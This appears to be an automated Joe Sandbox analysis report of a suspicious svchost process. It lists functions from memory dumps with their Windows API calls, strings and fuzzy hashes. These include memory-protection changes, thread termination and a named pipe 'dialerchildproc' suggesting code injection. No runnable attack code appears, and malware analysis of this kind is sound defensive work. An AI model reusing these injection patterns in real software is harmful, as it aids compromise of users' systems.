Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: c5f4609d7a0ddf94ba0b255fe7b8c84c2027e9ba60fe4a7fa262d0ad67ab09e4
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: AD312871F10A0593FB50AB26D95C35A53FCAB86FCAF4C50219E0BA7795EF1CC45882D2

Non-executed Functions

Function 000002A6612D6D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D6D68
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D6DBA
_RTC_Initialize.LIBCMT ref: 000002A6612D6DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D6E0E
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D6E39

Strings

ned, xrefs: 000002A6612D6E1E
restrict(, xrefs: 000002A6612D6E17
destructor', xrefs: 000002A6612D6F69, 000002A6612D6FE2, 000002A6612D701C

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: d8a3677eb0ab1bfc5ac1c63b2b99d00723214a86536ce85ca85354c68c7dac87
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 6E81A121F106818BFA549B65E88D399329DAF8BF88F5C4125E94983796DF3DC9CD8303

Function 000002A66130D258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D267
FlsGetValue.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D27C
FlsSetValue.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D29D
FlsSetValue.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D2CA
FlsSetValue.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D2DB
FlsSetValue.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D2EC
SetLastError.KERNEL32(?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D33D
FlsSetValue.KERNEL32(?,?,00000001,000002A66130F0FC,?,?,?,?,000002A66130C3CF,?,?,?,?,?,000002A661307EE0), ref: 000002A66130D35C

Part of subcall function 000002A66130DAFC: HeapAlloc.KERNEL32(?,?,00000000,000002A66130D432,?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D384

Part of subcall function 000002A66130DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002A66130643A), ref: 000002A66130DB8A
Part of subcall function 000002A66130DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002A66130643A), ref: 000002A66130DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310E9B,?,?,?,000002A66131088C,?,?,?,000002A66130CC7F), ref: 000002A66130D3A6

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 8265c23a4ccf136d65ec441aeaaa312edad24db801d5ca1131a419eed8c37940
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 3A418A20F0168443FA58A335555D36E22DE5B4BFB2F1C4728AD372B7D6DF2C844A8687

Function 000002A661302FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002A661303001
GetProcessHeap.KERNEL32 ref: 000002A661303016
HeapAlloc.KERNEL32 ref: 000002A661303024
PdhGetCounterInfoW.PDH ref: 000002A66130303A
StrCmpW.SHLWAPI ref: 000002A66130304F

Part of subcall function 000002A661303554: StrCmpNW.SHLWAPI ref: 000002A661303576
Part of subcall function 000002A661303554: StrStrW.SHLWAPI ref: 000002A661303594
Part of subcall function 000002A661303554: StrToIntW.SHLWAPI ref: 000002A6613035BB

GetProcessHeap.KERNEL32 ref: 000002A66130308C
HeapFree.KERNEL32 ref: 000002A66130309A

Strings

\GPU Engine(*)\Running Time, xrefs: 000002A661303048

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: 5c55e335d4956d0e116a84cf8c0a623a6748ba139191798feb857f98657cbe97
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: AC318072F00A808BF720DF62A80C759B3A4F78AF96F4845259E4B63A65DF7CC45D8781

Function 000002A6612D9D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A6612D9DD1

Part of subcall function 000002A6612DAC44: __GetUnwindTryBlock.LIBCMT ref: 000002A6612DAC87
Part of subcall function 000002A6612DAC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A6612DACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A6612D9EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A6612DA0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A6612DA20A

Strings

csm, xrefs: 000002A6612D9DEB
csm, xrefs: 000002A6612D9ECC
csm, xrefs: 000002A6612D9E52

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: fa2c83ff83d554cdffb8e1bf8d61ac0f573b740e624b4cb83b305fbf64bdb7eb
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 82E16932F04B808BEB209B65D44C79D37ACFB46B98F184515EE8957B99CF38C598C702

Function 000002A66130F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002A66130F940
GetProcAddress.KERNEL32 ref: 000002A66130F94C

Strings

ext-ms-, xrefs: 000002A66130F89D
api-ms-, xrefs: 000002A66130F88A

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: fb6a9c524fc5d3484979de7ddd0c04845f897be2528b6da75aca7f880f4762e4
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 3D41FF22B11A1093EA56DB26A80C79523DDBB47FE1F0C41299D0FA7784EF3CC54D8386

Function 000002A661302334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A661302349
GetCurrentProcessId.KERNEL32 ref: 000002A661302353
CreateFileW.KERNEL32 ref: 000002A661302384
WriteFile.KERNEL32 ref: 000002A6613023AC
ReadFile.KERNEL32 ref: 000002A6613023CB
CloseHandle.KERNEL32 ref: 000002A6613023D4

Strings

\\.\pipe\dialerchildproc, xrefs: 000002A661302365

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: 38e7ba86b214d779e40598ff6136bc5f85aa100ce0c60efaae3f90949e3f069e
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 0C113A76A18B8083E710CB61F50D35A7775F38AFA5F584315EA9A13AA8CFBCC148CB41

Function 000002A66130A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002A66130A3B3,?,?,?,000002A661309B9C,?,?,?,?,000002A6613096BD), ref: 000002A66130A279
GetLastError.KERNEL32(?,?,?,000002A66130A3B3,?,?,?,000002A661309B9C,?,?,?,?,000002A6613096BD), ref: 000002A66130A287
LoadLibraryExW.KERNEL32(?,?,?,000002A66130A3B3,?,?,?,000002A661309B9C,?,?,?,?,000002A6613096BD), ref: 000002A66130A2B1
FreeLibrary.KERNEL32(?,?,?,000002A66130A3B3,?,?,?,000002A661309B9C,?,?,?,?,000002A6613096BD), ref: 000002A66130A2F7
GetProcAddress.KERNEL32(?,?,?,000002A66130A3B3,?,?,?,000002A661309B9C,?,?,?,?,000002A6613096BD), ref: 000002A66130A303

Strings

api-ms-, xrefs: 000002A66130A299

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 21f7652a1c3b2d3b08e2bd85ed527b7237bdaf8575ce5e9d5578602fc49127b5
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 9031AD21B12A50A3EE129B46A80C75533ECB74AFA1F5D06349D1B6B3A1EF7DC1488382

Function 000002A661303BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A66130365F), ref: 000002A661303C5A

Strings

wr, xrefs: 000002A661303C2F

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 8a448f16fba570ede5e25b879f06153b1a11ef346cff490b08676d39210bb097
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: 18117936B04B8087EF649B66E40C66972B9F78AF95F090428DE8E53794EF3DC648C705

Function 000002A661305F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305F9B
GetThreadContext.KERNEL32 ref: 000002A661306105

Part of subcall function 000002A661305D90: GetCurrentThreadId.KERNEL32 ref: 000002A661305D94

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 3b88e18f3e288b5316be95c728ea3f6a2be064616dc03a0298ce9d4779e724bd
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: F6D1AA76608B8882EA70DB06E49835A77F4F389F85F140116EACE57B69CF3DC585CB81

Function 000002A66130D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D3DF
FlsSetValue.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D415
FlsSetValue.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D442
FlsSetValue.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D453
FlsSetValue.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D464
SetLastError.KERNEL32(?,?,?,000002A66130DAE5,?,?,?,?,000002A66130DBA8), ref: 000002A66130D47F

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: becaec30be5092c1e4cac6dff0987991ecdd20111dfc16942f9dfa5579a7e985
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: BF11AF20F0568043FA54A331A64D36922DE6B4AFF2F0D4328AC37377DADF2C94498687

Function 000002A661303B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303B97
TerminateThread.KERNEL32(?,?,?,?,?,000002A6613036B0), ref: 000002A661303BA6

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: db93e4b3c4a6dc20d81bcde0db7a7504087a0a358164d2d7daf917041e098eb2
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 4F016974B15B8487EB209B62E80D71933B8BB4AF46F080528C94E27365EF3DC14CC702

Function 000002A6612D8835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D88D8

Strings

csm, xrefs: 000002A6612D88BE
f, xrefs: 000002A6612D8856
displacement map', xrefs: 000002A6612D88D1

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 2bb15305fd1648b5f4597f4a9c6c99a4857e4ed9157c84268d7e5898f9ababa5
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: 3451BD32F126408BEB15CB25E44CB98379DFB46F98F199120DA8643788DF38D9C9E706

Function 000002A6612D8818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D88D8

Strings

csm, xrefs: 000002A6612D88BE
f, xrefs: 000002A6612D8856
displacement map', xrefs: 000002A6612D88D1

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 46947ff9c8787e56f9549501a482bedb074f50c7edd2e0661ed9604ccbab6123
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: 0B317832B1168097E7149F21E84CB5937ACFB42F98F199014EE8647789CF3CC989D706

Function 000002A66130330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002A661302576), ref: 000002A66130332E
StrCpyW.SHLWAPI ref: 000002A66130333E
StrCatW.SHLWAPI ref: 000002A66130334A
PathCombineW.SHLWAPI(?,?,00000000,000002A661302576), ref: 000002A661303358

Strings

\\.\pipe\, xrefs: 000002A661303324

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: da98ef6b121364779e5a87a907428e844d129fab95bcf11ad97ec07c455dc5e3
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 8BF08CA0B04BC083EA108B53B94D11AB769BB8AFC0F0C8430EE5B27B28CF6CC449C701

Function 000002A661305B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305B56

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: 27f13dda94eecf94b99b9bf4721527bf61351b2ee317b72a15c5a9166f734d31
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: D661FA32A19B4487EB60DB15E44C31A77E4F389B85F140216EA8E57BA8CF7CC448CF81

Function 000002A6612E3934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A6612E395C
_set_statfp.LIBCMT ref: 000002A6612E3977
_set_statfp.LIBCMT ref: 000002A6612E3993
_set_statfp.LIBCMT ref: 000002A6612E39CF

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

